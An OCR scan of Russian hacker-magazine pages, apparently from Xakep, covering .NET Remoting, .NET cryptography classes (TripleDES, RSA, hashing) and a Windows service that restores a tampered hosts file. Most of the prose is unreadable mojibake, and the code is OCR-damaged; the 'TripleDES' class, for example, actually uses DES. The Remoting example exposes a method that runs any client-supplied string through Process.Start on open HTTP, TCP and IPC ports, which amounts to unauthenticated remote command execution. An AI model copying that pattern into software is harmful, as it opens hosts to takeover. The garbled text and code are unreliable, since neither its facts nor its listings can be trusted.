A Tag&i T0TA604 10 40841 EATTEICTAA0I éTT6846- System.MarshalByRefObject iTi6 fagia=aiep.

dadep éeedioa é Nasadda +adac xml-6aéeq. /7536331 éeann Taddaaaaaian 2 Teoil nadads. NTcaadl eTIiTeuraé TdTaéo
PaffTTodeT TTaTTaoiop 1Tadéi. Niazaga { € ATAaaéyal a 1aaT ToTnodarnoaT eiai System.

10 Taresai ééann, éc ETOTOTAT TOTA0aT 1a 46430 public NRRQ Runtime.Remoting, a & Ta0T4 main 4TAa3&yaT fodT-

46200 TaGA80 & Tadantieaou 43T a80aTé ToTadai1a.  { &6 Console.ReadLine(). A&y fiTcaaiey ia T Nadaa-

Aacda 10 1aTesal T9Ta0ad 10, ETOTOAY 40440 fiTg- Console._WriteLine( ""Remote using 82 10 40441 eATTElCTAA0U xmI-Oaéé. xoTald aTEl-

433400 éaTaél & Teeaaol a6TAyOI&aT Taudéoa Tt NRR Class™ ); @& T4 aTcadatiaoufy é éTas iddaada, Ndago caido-

http-éafagd (ONETATT 43 1T T Tacaaol 1ddaasTi). //iTcaadl &éTiN086E0Td éeafna cel TanooTéée:

A caad0oaTe4 10 TaTéodi 6884AT0, 6TOTONE 40440 }

T4844a4a00 1484480 é&ani a&y TTNEdaopuidé daat- public string Show(string msg) RemotingConfiguration.Configure('ServerC

00. TAd46441 & ToTa0aT 1edTaaTep. //130Ta, é10180é 10 464al Tadaaadaou onf.xml™);

> Teo 8l éeaii. Tao éeai 40480 ATATEUTT 00e- {

Aeasal, TTRETEUEO NTAAd2A0U TT 40440 0T Taei Console.WriteLine( "Client Alert: " OA&TAdU 4TAdA&T 4 TOTARO xmI-Oaéé, TacTadl &aT

T40T4 48y caronéa ToeeTeaieé. NTcaadl 1oTaéo + msg ); ServerConf.xml & Toééefioérei & farefaiep .NET

Class Library & Té@di éeani NETRemoting_Real. //fi0odTéa, €Torday a6ado atadaaia Remoting-éT16e&da. xoTal aTéoe a éTidedsvdadep,

Toe Tarenaiee 6Taa TaycaoaeuiT edacdo 6eéacaol, Ta fadadsad 02T enTTelcTaa0u 0dde <configuration> & <sys-

+0T &¢ YOTAT éeanfia 1TelT 4020l Taudeod. YoT Process.Start(msg); tem.runtime.remoting>. Dafifi T0deT 18143 TTOe-

TTeiT 436400, AT4AA484 4 TA0AAAA441 04 éeaiifi0  //éTiaifaa, éToToay acado 400a0eTi1TaT Oaééa:

System.MarshalByRefObject, 4éy +8aT T6&iT éf- aorTéfara fa nasaasa

TTEUgTAA0U TETAOBATH0AT €141 System.Runtime.- return msg + " is running"; &TTOea68a0RY N85aABA

Remoting.Messaging. A 83¢o&iioaca Thoadony oTeleT //T0add fddadda <configuration>

4Taadeou Ta0Ta 46y caronéa ToToanna Ta0TaTi } <system.runtime.remoting>

Process.Start(). A @0T48 TTE6+&1 AT0 0a6T¢é &Ta: } <application>

Komnbm'repbl

- BblBD‘-lﬂMLI.IaFI ﬂpUHSBOﬂHTBJ’IbHOCTb

—TexHONorus, Ha XoTopyHo
MOXHO TI0/10XMTBCH:

ﬂﬂBBDl‘IbTE t:mpmuuxam peanuauaarb CBOW NOTEHUMaAnN.
BoioepuTe KOMNbIOTED “TIEPEAOBHK™ Ha Ba3e ABYXbAAEPHOro
npoueccopa Intel® Core™2 Duo.

(812) 703-10-50 | ceresas nrerpaums, HoyT6yky, Nenai Ganbite.,
(31 2) 325 25 05 | pa6ouue craHumm un nepuchepus
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<service>
<wel lknown mode="Singleton"
type=""NetRemoting_Real .NRR,
NetRemooting_Real**
objectUri="RemoteObjectPort" />
</service>
<channels>
<channel ref="http" port="5000"">
<serverProviders>
<1-—ATO 060 1TeiT cadaol éaéed-ieadcal
iTaroa rasai
</serverProviders>
</channel>
<channel ref="tcp" port="5001">
<serverProviders>
ATO 060 1T2IT caddol eéaéed-ieadal
1Tai0a Tadaidodn hasaasa-->
</serverProviders>
</channel>
<channel ref="ipc" portName="1PC">
<serverProviders>
<1-—ATO 060 1TeiT cadaol éaéed-ieadcal
1Tai0a Tadaidodn nasaasa-->
</serverProviders>
</channel>
</channels>
</application>

ATAPAE
ADTCATA
OFFBIT SECURITY TEAM

A&GTTaRo TTAd
8206110 .

Net

</system.runtime.remoting>
</configuration>

aT éTi6ed00aveTi

aéoa. Tasa

8E88ATH 46280 TTAOGAGU TA
AE6+a4 yOT 46440 http://127.
e telnet 127.0.0.1 5001).

> AAyAT esRAT0. ATo 10 & aTadasen

0Td0é 0Ted 40440 TéA40AAEYOU

o o
P o

.0.1/RemoteObjectPort

TéAacTéoe afia
aarey.

a a»

TETABAT 14, TTidsapGay éeaff iddaddo
[STAThread] //fiTcaaai TToTé STA
ri

static void Main(st
{

NRR TransferingObjec
//Tauyaéyai Taudéo, et
Tadaaaaaol éafa

+adac¢ éaiae
RemotingConfiguration.Configure(*'ClientC
onf.xml", false);
//&T10e400e80a1 é&eaio
TransferingObject = new NRRQ);
//74843a41 Tauaéo
Console.WriteLine("'Sending object
to remote server...\n w8");
Console._WriteLine(TransferingObject.Show
("'notepad™))

//a07TEéTyal é1a Ta nadaasdsa

Oaéé éTTOed08a0ee eéedioa .NET Remoting
<configuration>
<system.runtime.remoting>
<application>

<client>

<wel lknown type="NetRemooting_Real .NRR,
NetRemooting_Real™
url="http://localhost:5000/RemoteObject
Port" />

</client>

<channels>

<channel ref="http" port="0" />
<channel ref="tcp" port="10000"/>
</channels>
</application>
</system.runtime.remoting>
</configuration>
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C:\netstat -a

E 10 6aeaei éaiaeld 1a@aat nadaasa
TCP/HTTP sulvlab1:5000
sulvlabl:0 LISTENING
TCP sulvlabl1:5001 sulvlabl:0
LISTENING

™

-) O D D =y
! o D O o v
o O 8

-
an

PN s O - P GO

0 1afAiTead Vv aé :
iT, Ta1Taddéado e1y T6Ta0a1 10 48y acoaioedeéa-
oee. A e0T48 Tas A0TTAATETOE ETTORE 46480 A04-
6yaaol T6ETADTT 0aé: éenceial.

fioe
- theend. ATo 10 & dacTadageni fi 0451 TETAL-

St Qe
)

o =
<Oy

=)

St @ ey S Qo
= QD

. o

http://msdn2.microsoft.com/en-us/library/system.runtime.
remoting.channels.ipc.aspx
fiTadodp TT+e0a0i msdn 18T ipc-éaiaéh
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TACTD CRYPTOAPI A MS WINDOWS VISTA

AUA A ADAATAT EEOAA TTTAOE OxEEENU ATPENTAUAAOU EADTAEEOU OAEET TAPACTI,
xOTAU EO TTAEE TTTETAOU OTEUET ECAPATTUA, CTAPUEA TAOTA PANGEODTAEE.

AT ADATATAAOTDTE TIEDTATEATETU AATAEEE EO<xEA OTU TEDA EDETOTATAEEOEEE
(AEAEx EE TADPE) AEEENU CA OT, xOTAU pPANEODTAAOU AEATDEOT CTATATEOTE
TASETU ENIGMA

Tcara aéa Sulverus

offbit security team (sulverus@mail.ru

RC4, RSA, DDS, DES, MD2, MD5, SHA16, SHA32,
SHA128, SHA512, ATNO D 34.11-94A... T=4iu 1 i7-

A8 A KA X2~ 8 ¢ o
draanracaiaiii

TOTAEaTa catieol eToToTavee ¢, A TéaodTo14 .NET Framework & Common Types -  BAGATS TTEA0TA. Aey Ta+asa ATEdd 440a8uiT
, 688T0TAda0e fi BaalT 4741 fod- System(CTS) ddasecTaail ééannd aey daatod fi  danfiiToded daaeecTaaiidd a NET framework aé-

agy&ofy eeani AToe0T 0 & &5 edeToTTOTAaé44d0. E¢ fel 1400e+-

TAG0MY A& 2606aBUTAA. Eaé &cAAROTT, AL OAcAdU  CryptoAPI, 4acTAOT ec ToTo0s ¥
5 b kA TAG A A RO BB

zeOdTaaé TAETOTONA ATE0T14T00 é0eaTaadnieé  System.Security.Cryptography. A TT€aaTaé addnee 100 adaToe01TAéTITarey 1aéedTATOO 04aEecTAA-
888T0TA0a0e+aNeeT & agdTae0Tale. .NET Framework (Ta 1T1ai0 faréfiaiey fioaoié — éaDES, Triple-DES,Rijndael &€ RC2.

A715ea0+1T1 ®4 Win32 daagécTaara fefod- 3.0) 04aéecTaai( edeToTIoTAaé4a480 46y TaRETEU- DES a0é Toéadiai 4TATeulT aaaiT, & Tdaan-
12 88eT0TTOTAaé440TAa & ienodTa e10ad0aéfiTa éed nel1a0de+T100 agaToeo1T7a — DES, Triple-DES,  0aaéyaoc ATaTé agaToeol gedasTaaiey i efirTeucT-
& 7e1. A Windows Vista, fi TA&iTé AOTOT & RC2, Rijndael, 4266 afiié1403e+706 — DDS, RSA &  aaiedi 56-4801T4T éép+a. A TafoTyI&4 4041V f+e-
feeulT ecTare&Tiu: ana oaé ®a TRoaén agiToeo1Ta dypedtaaiey — MD5, SHAL, SHA256, 0adoiy T4 AaT a1 Aa¢TTaifal eg-ca ioTel EToToeTé
graphic Application Programming Interface, iT i 436- SHA386, SHA512, MACTripleDES, HMACSHA-1. Ta 4éei0 éép+a. A Toge+ed 10 i 44241T 6aaeecT-
4Té fOTOTTO 0ATABU afid 0TdaAEATEA BBETOTTOT- NATTI 4484, YOT éeali ATEOTAT083TAATT (A 63eT- Aaii(é Triple-DES ¢ia+e0d8uiT faddeeiad & aacT-
qaéaasaie J Tad T6a00TOT0 .NET, 0TT8Taaéadd0, a0daouaé aadnee .NET Framework'a Tafifaa, — aeéfa aaT éép+a fiTidaasyao 168 aéo.
acia+eo, ana 6ad4eTABUTT ecTATEETHU. ToeweT BAaéecTAATT +00U 4Telwd, 41 NeAcaiT 4 4Te0T14ai-

O~ 4 AN AIAix~AN 20 A A A

A041Y dacTadaouny fi AEAOAT TE 0ETOTTOTAAGAA- 0avéeé. ESTTA OTAT, .NET TTaadd0x2eaado iefodio
dTa a Windows Vista.

> =0T &fdi CryptoAPI? TTaTATAY fie aTaA444-
T3ea6TaTa 6TITaTeaé Taéé 46y OTAT, +0TA0  Tey CryptoAPI & Windows Vista, 10 AT&T0T0p caé- )
6a&ee+e0i AACTVANTTHOU TOSETRATEE & TTOAAEAT- TANAY 5Aa8ecadesé AfaaTC TR 100 838 T0T40a08- O&ério 0O&efio
70T TA0AaGT M006E063E5TAA0N OETITAOAOS-AMERA  +ANEed TOATAGACTAATEE. xOTAN 6GTadl, 626 BAATOA-
283T3R0T (1 46y 0ATAMOAA NTCAATEY TOTAOAT T & 46 o 6T 18068+T04 & aieT 14088+ T04 284T6R0T 0 &
21 6+311686 40468T046. A WIn32 A06T 5338ecTAATT  fefdal O 6eO3TANS TTATENAE, i Tode AdAT 0 1, 2 &
448 4407ee CryptoAPl: 1.0 & 2.0. A TTRE34TA¢ addMee 3. ARET yoT TAUIASCAANOTTA, & THoATaaeeaaonny 1 0
TTA48020AAETHU T+ATU T TTAT 08TTA B3LTOTAOA0- 14 T41 T4 40441. To4x44 +&1 10 T3efo6TeT TaTTh- Private key
+&fiee a 15T454 &b, ATEATed3641, +0T
T3TAO 5 T
DeOITOAEO . DeOITOAEMO
NeiTa0de+T0é a8aToeol



fioace, fi 0T+ée coaiey TaéedTiToo —

o

UTT ecadnofaé a Trodadeain 100 é603a0 aeaToeot
T1a00e+1TaT pedoTaaiey, aéeia é 3

PP Cxa PN .

&@ao arnoedaol 2048 aeo.

0
T

E

1 i
Casddwado Tapd Téacaie+~iTa TThodTaied RC2, 4T-
a

fi

. D

A746 a85fee .NET T4 53366cTA
436 a8y 48aTOR0Ta RCA. T
01 T4 TORAN0AAEYAD AT

aedroeo a, TThéTeué

o]
ET1 NE6+ad 46430 N6TIA-
088000€ & caedntoné eép+e. TadadT ao-
430 @eOdTaalRY ATTAtIATEd, a a0TO0T — dafi@es-

dTadaaoiny. A anfeiacde+10a0 aéirToeoiad any

10 44cTTanial, a aéefa éép+aé i
&0 TATYOURY A CAASHRT THOS To ATCT T TTHOAE & ca-
4a+ Nenodi. DDS — 0Tax4 agaToeoT anel 1a0de+T
iT péodTaaiey, iT A1aN0T TOedUOTAT éép+
TTElCo30 6eOSTAOP TTATEAU (TA V0
521 AAGAA), AR TA 88p+A TTead 400U BPATE.
> TTN0AAl NdA4 a6, TAd4E4aT & TOTA0aT 1e0T-
aafep. TaToe1404 aai iTé foaocie y ToTAA1 Tifode-
80P 8aaTos fi EdETOTIOTAAEAAdT &, dadToaplieie
arei ec¢nai o aagT edToeoiTa gedortaa-
ey — RSA, efiTTélicod 4 4a16TAaNee0 & TéavdeiT-
'5&140 & Web Money. Oaéaeéd
10 éannTTooeT AT04 18e 10670 8aaTod i iddoe-
6eeadaie 4affad X.509. E TT4 éTT140 dacaddainy
fi oyzédTaaiedi & 6eosTadie TTaTenyie.
16 +0T &4, TTOa caT6féacl fodaep, NTcAaaaaol
TTa0é TTA80 & fidAcs & aéép+aodl a iTeATeé TaTNo-

e113008+T00 aedTdeoiad y 6ed dannéachiaaé
1T¢ &g fivaoiiaé (http:/offbit.Lgb.ru/article/read.php?id=24),

iT aia saai T 6z T 5a4T04 i aeaTdeo-

&4a1 efiTTeucTaaol TTATTOOTTAT édTéeéa & dTee
fiodTée: «Xakep — Super Hypper Rulez!».
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public class TripleDES

public static bool Encrypt(string OpenText, string SafeKey, string EncrText)
{
try
{
DESCryptoServiceProvider TDes = new DESCryptoServiceProvider();
//iTcaadil 19Taaéads
TDes.Key = ASCIIEncoding.ASCI I .GetBytes(SafeKey);
TDes.GeneratelV();
/734736680641 a380Td efeseasecavee
ICryptoTransform encryption = TDes.CreateEncryptor();
//iTcaadl geddTaagluuesd
FileStream Fin = new FileStream(OpenText, FileMode.Open, FileAccess.Read);
//iTcaadl 06aééTatd T1Torée
FileStream Fout = new FileStream(EncrText, FileMode.Create, FileAccess.Write);

CryptoStream crypt = new CryptoStream(Fout, encryption, CryptoStreamMode.Write);
byte[] outtext = new byte[Fin.Length - 1];

Fin.Read(outtext, 0, outtext.Length);
crypt.Write(outtext, 0, outtext.Length);
//280680a1

crypt.Close();

//caédiaadi

Fin.Close(Q);

Fout.Close(Q);

Console._WriteLine("'Done™);

return true;
¥
/733633 Tada

}

public static bool Decrypt(string SafeText, string SafeKey, string OpenText)
{
try
{
TripleDESCryptoServiceProvider TDesDec = new TripleDESCryptoServiceProvider();
//AiTcaadl T3Taaéadd
TDesDec.Key = ASCIIEncoding.ASCI | .GetBytes(SafeKey);
TDesDec.GeneratelV(Q);
/73414686031 a380Td efeseasecacee
FileStream SText = new FileStream(SafeText, FileMode.Open, FileAccess.Read);
ICryptoTransform decrypt = TDesDec.CreateDecryptor();
CryptoStream DecryptionStream = new CryptoStream(SText, decrypt,
CryptoStreamMode .Read) ;
//iiTcaadi peddTaaelued
StreamWriter OpenT = new StreamWriter(OpenText);
OpenT.Write(new StreamReader(DecryptionStream).ReadToEnd());
//8angedsTataadl
OpenT.Flush(Q);
//caédiaadi
OpenT.Close();
Console._WriteLine("'Done™);
return true;

}
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-  JAAToAN NRTTA0de+TOTe asdTaeoTaie. 060

ana TA436UTT TOTNOT, TTNETEUE AaTTO4 @E086-
poriy & dafizedsTataapony Taied e 041 ®a éép-
+T1. Agy 824100 i a8aTaeo1 T1 Triple DES 1ai TT-
faaTaeony TripleDES Crypto Service Provider — 84T
80eT0TTOTAAE4&d 1T oiTé-arep. NTcaadi
ATEUTTA TOeETRATEd, 6336N08e80aT TETROSATA0AT
€14t System.Security.Cryptography € iiTcaadi ééai

TripleDES a6y 824700 fi 483T060TT1. A TAgAT éeaf-

&ép~+ T04TadacTaaléé & ey Oaééa, a éToTo0é 46-
SN

&ao carefiai oeOdT0aéMo (&, TaTATATO, & O6Tesee

dafigedaTaée). bafiiTodeT éTa (éefioeid 1).

A 667é6éé TripleDES.Encrypt() iTcaadony ede-
0TTETAA6440 48y agdTdeoia TripleDES, 4aéada fitcaa-
A0fy e+ & 4480T0 eTeseasecavee agaToeoia, Tt

¢08U0a0 & Oaéé. baiipeddTaéa iTTatidiey T8TeRdT-

ae0 Tdacoe+anee oage ®aTadacti

a8y efirTelcTaaiey ad0aTar el 12086+ TaT asdTdeo-
Tyou Tadadp noaTEd
anad ToaTadacTaaieé fasg TTATTO0TOé édTéeé
(fodTéa «Xakep — Super Hypper Rulez!») 46430 a0a-
&yaaol iedacplieT TadacTi:

10d "uc™ ”rObqi AUMIWA:~- ~@QOOIE.

dTOAGAT 4TEAa édanear.
-  rsasecurity protection. AédTde01 RSA — fa 1Té

700 & 4a¢Trant(o aear-
408382482340 0T0

¢6A0NY & AaTéTanéesd e Tea-

6 nenoaiaoc (Web Money, E-gold eée
132086100 agdToe0i ad eep+ aaéeo-

PayPal). A afie
iy T2 T083000p & cagdn00p ~aMol. ETOTE1 68y 11-

0&éfio 04éfo
||
Toednoné Caéosaoueé
éép+ éép+
/N
[
DeOETOAEND DeOBTOAEND

230 @eOJTaa0URY TOESTIOTE +afdip, EToToAY 0aéed
1 T®40 4000 TAd4aaTa 1T N&oe, & 48y daipeddTaee

T
a

adTaeouny a eTiTupodda, dansedsTaAtaapPLIAT
ioTo1asep. NiTaa iTcaadl eTINTEITTA TORET-
5eM00ed6AT e8aiii RSA. A T&1 46480 05¢
dTevee: RSA.NewEncrypt(), RSA.NormalEncrypt(),
SA.Decrypt(). A&y peddTaaiey i6eiT 424 O016-
& Ta fied+aé, anee eep+e 1ol

NN A Az 8

8

O 93‘:
[
Qo
M =/
o L
Do

R

~ xx0 9

T AdaTaoedraaou

iTcaged-
1). baciéoda

9 s =

T3xa0 TéTe a0T1, +0T T8e fiTcaaiee iTatd éép+aé

ana ToTendTaeo adoT1aoe+anée, a 1ée 86+iTé caa-
80Gea 10T eATTEICTAA00 T140Ta RSACryptoService-
Provider.FromXmiString() aéy caddocée T0ed0oTaT

P Qs s A Ay

éép+a, TTNETEUES aey peddTaaiey aart aln

i

Aaeaa TATA6TACT T T40444M0e IOOTETANA 43
a Taffiea 426074 & @ed3Taa0l. DA T Tode
RSA (fil. 6efioea 2)

A 667é6&e NormalEncrypt() ATcaadony edeT-
'5TAaé44d, TTOT1 BA3eM0ded6a0ny & cadddeadony

m
8ep+a Taxaca0dcuTT TOTAOT EATTEICTAA0U TA0TA
FromXmIString(), T8e fiTcaaiée TdTaaéadda 1aTast-
461 T Tad44a00 316 Tada1406 i TanooTééaie ToT-
meters. A&y 86+1Té ¢addocee TATAGTART T 68acadl
faTénoaT Flags ¢fa+aiédi CspProviderFlags.Use-
MachineKeyStore. OToy 1 TeeiT 8aaToaoi & 4a¢ Csp-
Ta0a1400Ta. TTiEd daaTo0 fi a6dToe0iT1 RSA fag
TTATTO0TOé 88TEeé 4 804 08Tée «Xakep — Super
Hypper Rulez!» 46440 A0a&yaaol aTo 0aé:

16EW80gnops i JFGSFtextX9TehCZDCCYFbbk68+4
YUwjDapVvZISpr3TnRIdZCcfGz9FTFPZggZU/Stpu
gGZKk7G4s4HSWPUDQ/ j 1cMduuPh 1BRhO/29hWp6yQ
HPBugvZq4g/rnlEy4kolKFtka7ScnChZ5akuokSu

J3nrQ5QJrSg=.

U&ri0ado eéain X509Certificate, a 48y dadtod il ééan-

AT1 efrTTelcodony T8TN0daTH0AT eTaT System.Se-
curity.Cryptography.X509Certificates. Aéy anaroee
477100 e¢ Nadoededata 16T TOTAOT iTcaaol iT-
a0é Tauaeo e odTéTata 08Tl 4ai 106 e ¢addd, 18e
ITiTUE 1a0TaTa éeaniia X509Certuficate, caTTéiyou

aaied e aaonep, ToeeiT alTTéTeol iedadprieé éTa:

X509Certificate x509s =
X509Certificate.CreateFromCertFile('Secure
NetCA_ClassA.cer');

string Version = x509s.GetlssuerName();

1

oedTaaley 1a NAaTaTy o Teé 431U yaeyaony
¢cTaaied aedrtoeoia MD5.
» OyoeédTaaied. Nodae oyw-aedToeoiTaa .NET
d4aeéeéctaaid MD5, SHAL, SHA256, SHA384,
SHA512, HMAC-SHA-1 & MACTripleDES. Tadada
434 daciTaeATTAOE A84THEOT TA ¢TAETT O Toa80e-
Y Saas

al

fiée anai, a aedToeol MACTripleDES — 1aiaa ec-

i
foaT. Aey dan+aoa oys-cia+airey epadi aearoeo-
T

-/ Q>

T
'OTH0AATAOAT 14T System.Security.Crypto-graphy.
Agy dan+aoa dya-cia+aiey eirTéicodoniy 1a0Ta

ComputeHash(byte[] ByteArray). baifiiTodel éta
aéy dyoedtaaiey:

T T61T eATTEUCTAA0U 6ed ecépacadiiTa faie

Baf+40 6TTOSTEUTO0 A6T T
public class CreateHash

{
public static string[] Hash =
new string[7]; //fiTcaadi NOSTETAT
public static void Make()
{
Console._WriteLine(Enter a value™);
byte[] Value =
ASCI 1Encoding.UTF8.GetBytes(Console.Read
Line()); //7TE€0+adi cia+aiea
MD5CryptoServiceProvider MD5 =
new MD5CryptoServiceProvider();
SHA1Managed SHA1l = new SHA1Managed();
SHA256Managed SHA256 =
new SHA256Managed() ;
SHA384Managed SHA384 = new
SHA384Managed() ;
//iTcaadl édeToTIdTaaéadst
SHA512Managed SHA512 =
new SHA512Managed();
HVMACSHA1 MACSHA = new HMACSHA1();
MACTripleDES MACTDes =
new MACTripleDESQ);
//334736e866a1 dyg-cia+airey
Hash[0] =
ASCII1Encoding.UTF8.GetString(MD5.Compute
Hash(Vvalue));

ianfea
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PpaaToa fi éderToTIoraaéaadaie RSA ) Hash[1] =
public class rsa ASCI IEncoding.UTF8.GetString(SHAL.Compute
{ Hash(Value));
static RSACryptoServiceProvider RSAp; Hash[2] =
//3éTaaéluiié eseToTroTaacaasd ASCI IEncoding.UTF8.GetString(SHA256 . Compute
public static void Decrypt(string OpenTextFile, string PrivateKeyFile, Hash(Value));
string OutputFileName) Hash[3] =
{ ASCI IEncoding .UTF8.GetString(SHA384.Compute
XmlTextReader PrivateKeyLoader = new XmlTextReader(PrivateKeyFile); Hash(Value));
PrivateKeylLoader .WhitespaceHandling = WhitespaceHandling.None; Hash[4] =
PrivateKeyLoader.Read(); ASCI IEncoding.UTF8.GetString(SHA512.Compute
//cadadoxadi éep+e Hash(Vvalue));
string PrivateKey = PrivateKeyLoader.ReadOuterXml(); Hash[5] =
StreamReader file = new StreamReader(OpenTextFile); ASCI IEncoding .UTF8.GetString(MACSHA.Compute
string encrypted = file_ReadToEnd(); Hash(Value));
//cadadoxadl we6d8TOAEMNo Hash[6] =
RSACryptoServiceProvider decr = new RSACryptoServiceProvider(); ASCI1Encoding.UTF8.GetString(MACTDes.
//ATcAadl ToTAaacadd ComputeHash(Value));

decr._FromXmlString(PrivateKey);
//ainocaagyai éep+
byte[] buffer = Convert.FromBase64String(encrypted.Trim());
//8angeddTanaaal
string decrypted = ASCIIEncoding.UTF8.GetString(decr.Decrypt(buffer, false));
Console._WriteLine("'Done™);
StreamWriter decrypt = new StreamWriter(OutputFileName);
decrypt._Write(decrypted);
//7épdi a daéé
decrypt.Flush(Q);
//caédnaaai
decrypt.Close();
¥

public static void NormalEncrypt(string OpenTextFile, string OpenKeyFile,
string OutputFileName)
{
try
{
XmlTextReader OpenKeylLoader = new XmlTextReader(OpenKeyFile);
OpenKeyLoader .WhitespaceHandling = WhitespaceHandling.None;
OpenKeyLoader .Read();
//cadd6xadi TOEd000é éep+
string OpenKey = OpenKeyLoader.ReadOuterXml();
RSACryptoServiceProvider RSApNormal = new RSACryptoServiceProvider();
//fiTcAaadl 18Taaésasd
RSApNormal .FromXmlString(OpenKey) ;
StreamReader file = new StreamReader(OpenTextFile);

byte[] b_file = ASCII1Encoding.ASCI1.GetBytes(file.ReadToEnd());
string crypt = Convert.ToBase64String(RSApNormal .Encrypt(b_file, false));
//980686a1
StreamWriter Encrypt = new StreamWriter(OutputFileName);
Encrypt.Write(crypt);
//7égai a 6aée
Encrypt.Flush(); //fiTédaiyai
Encrypt.Close(); //caédtaadi
Console._WriteLine("'Done™);
b
/753633 TadadToéa ToedTé

¥

//426348 €340 AANTEPOIT ataéTae+iay 06i1évey NewEncrypt()

3
b

A yoT1 88aiina AiTcaadony fod
80¢é 46430 carTéryouy oy

TTETYAT AOBTETATE TANNRA.

5 TTOATORALUTOA 6YGARTTHO
APl ATaT
sp-ado, a
8+AM0a0 T4

U overflow fi ETATT Toeaée.

Taa0TTérééa raa
TTyaééanu raaven

T4 02680 TOTNONO TA&T ad0a0 a8ATT, TaféTEUeT atia

2 (D

ifoaa e

a

2 the end. TO6ciage T46TOTO0A 4THOT
aTnoaoée CryptoAPI & Windows Vista, 11 IT4T dafi-
T0d4&e TATHOBATHOAT &1 4T System.Security.Crypto-
graphy, 83308T ego+e&e afia 484l deToTadade+aneed

ABATOROT TA & &0 BORTOTTOTAACAA0TA A NET. TA1Té

acaeya, a1 Té AACTTARTTé 5aasecateas 80ETOTASA-
O&+3METAT 264T080T 2 4 NET yaeyadny RSA, — TT, 8aé
& andaaa, TaadeAl. A AaTT06 TTIATO 83T 1TRIT Al

fiia-
&(IcTAA0U & RATEO TATAG0a0 (i 4éeiTé éep+a,
a+eiay 10 2048 — 1621.Dr.).
]

= O
. —)
[pZ

13

TelT, T4ETOTA0A 6ed daweée, ioTeo ee
efTTelgTaa0U 88eT0Tada08p & .NET & iaTed T8Taé-

0ad, 1Ty 40 14 iTAd0Taae 4d&aol TTHTaAx 1006 A0aT-
work 3.0 Pre-relese T+aii AG&UTT Toée+apoiy 4864
To 4964a. AR foafdo TTIyoiT, éTa4a a0éado foa-
aeelfay aasney .NET Framework 3.0 ©
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6T adou a é6dnad 1éeio
& 0e Windows-fieé6axea,

T
fiédzedl e naie 1aféedscpon
1

a aariTeé foaoua.
> TOE16eT0 ToTadal 1edTaairey Windows-fiééea.
NTcaared 6a&iiTé iedeal TTOTRAa40 Toeaée fi aa-

fiée 414 1 ToTdoai iedtaaiee,
iaT ATh

T4 3 ATR0AAEyUIED:

1 PAGDAATOEA NEOAAU.

2 PACDAATOEA TDEETAATER ETTOEAL-
PEDTAATER NEOAAU E ETNOAEEADPA.

3 DPACDAATOEA NENOAT U ETNOAEEROEE
NEOAAU.

—~

TACTD AACTTANTTNOE NEOAA WINDOWS VISTA

TATPETADA ATOETETINETAT I T

EAE E ATPAAUAOUEO AADNERD WINDOWS, A WINDOWS VISTA PAAEECTAATA NENOATA

NEOAA. AEAATUT TOEEXEAT NEOZAA TO ADOAEO TPEET AATEE RAERAONR OT,

xOT TTE AAOT TAOEXANEE CATONEAPONR AAC TTTTUE TTEUCTAAOAER. A WINDOWS
VISTA PAATOA NT NEOZAATE TANETEUET ECTATEEANU, TTNETEUEO ANAT ETATI

OATADPU OTPAAERAO .NET FRAMEWORK

Offbit Security Team(Sulverus@Mail.Ru
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c:
o
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Q.
e 13
Do
>

ipo&da). ToTasai1a
00eaeABITA:

fédedld ararveuiT

aTéxe0l & ToRTRoATTAROI fEdead. Nefodia eTioe-
Go am o oo

a0dacee fiedeal Tanodacaado ana aTciTeilad 1ada-

4100 fié6eal, TOETAD 02860 TadaTaodTa e éTioe-
iTa — Oaéel TanodTéée iddadda Apache eée MS
SQL Server'a. A TA&0ATT Ne6+ad & fefodl & eTTO&0-

€104804aén a¢é
16 &, TaéTT40, fiaia fédead —
TyoiT: ddaeecodony TaaTo ééal
040 eée e100 caaa+.
2  BaaToadl AT

=13

fie6edaTe Windows Vista.

30, 6TOTAAY 40430 Aendocl & Taiyoe & Todaiyou fen-
041 104 6aéen a Taréa system32/drivers/etc/ To 6a-
83 azeeaday 6aaToo i Oaéeaie
a yoTé aeddéotoee. TThéd yoTaT 10 daaeecodi
i

14041 16-6T10305a0T0, 8TOTAAY 46440 Tanodae-
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s nf chi with -
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prlvais Bratem, Qopy ieaPraress T
pcivate Syatem: ServiceFcooess. r SErVvia .
|
rivets woid InitisliseComposant
wnis Frecarsingialleg = sev Dyrvem. Dervicelrocess, icefuneessl T
this.Setvicelnatallar = see Syrtes Servicefruceas.
s.Frosssalnacsl lag. irePruoses, Loos]Nystes = |
r, EseTiame = “Sypies”)
rhs . Baryvies [Rarsl inr, Geryreiass = “Habery e
this . Serrise inesal ber . BLar T T vices L AT
*his. [astallers. AddDacos (nev Spstem. Configuration. [nstall, installer]] IERis.Processlnstalies, this.Sefvine

ServicesToRun = new ServiceBase[]
{ new Servicel() };

)

\ Q)
> =

::x:am;—

, &1 Windows API.

aadeol aiaa

). ¢
se AVExample &éy o0T1a

asanno. Anee ToTHOT

CTcAATeA TT0TéA N AOCTATT NaToée
using AVExample;

//. ..

protected override void OnStart(string[]
args)
{
Thread ScanT = new Thread(new
ThreadStart(AVExample.FileCheck.scan));

ScanT . IsBackground = true;
ScanT.Name = "ConfScanner";
ScanT.Start();

L2 L

L e | —
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(€h)

public static void scan()

- {

while (true) //fiTcaadi aanétia+idé oeéeé
{
string ProtectedDate = File.ReadAlIText("'C:\\test\\NormalDate.txt");
string scan =
File.GetLastWriteTime("C:\\WINDOWS\\system32\\drivers\\etc\\hosts™).ToString();
a:
- if (scan !'= ProtectedDate) //T8Taadyai
- A

=y
.
)

string time = DateTime.Now.Minute.ToString(Q);

if (time != DateTime.Now.Minute.ToString())

- {

- File.Delete(""C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

8, File.Copy(""C:\\test\\host.conf.protected",

- "C:\\WINDOWS\\system32\\drivers\\etc\\hosts"); //aTNf0aiadeeaadi daadT-eé daée

File WriteAllText('C:\\test\\Alert.txt", "Hackers allert was refused successful-
ly" + DateTime.Now.Hour + ":* + DateTime.Now.Minute);

else

goto a;

doxaiey T6Ta
614 & caodl Tasarenaou

&yaa0u dadagecasey yoTaT agarToeot a

@)

System.ServiceProcess.Servicelnstaller Servicelnstaller; //iTcaadi

V
vate
s
oaeeaol

private void InitializeComponent()

{
this.Processinstaller = new System.ServiceProcess.ServiceProcessinstaller();
this.Servicelnstaller = new System.ServiceProcess.Servicelnstaller();

this.Processinstaller._Account = System.ServiceProcess.ServiceAccount.LocalSystem;

edTaao

this.Processlinstaller.Password = null; //7anodaéaadi radaiaoda
this.Processlinstaller.Username = "System";

<

>
faot this.Servicelnstaller.ServiceName = "HaService";
iT
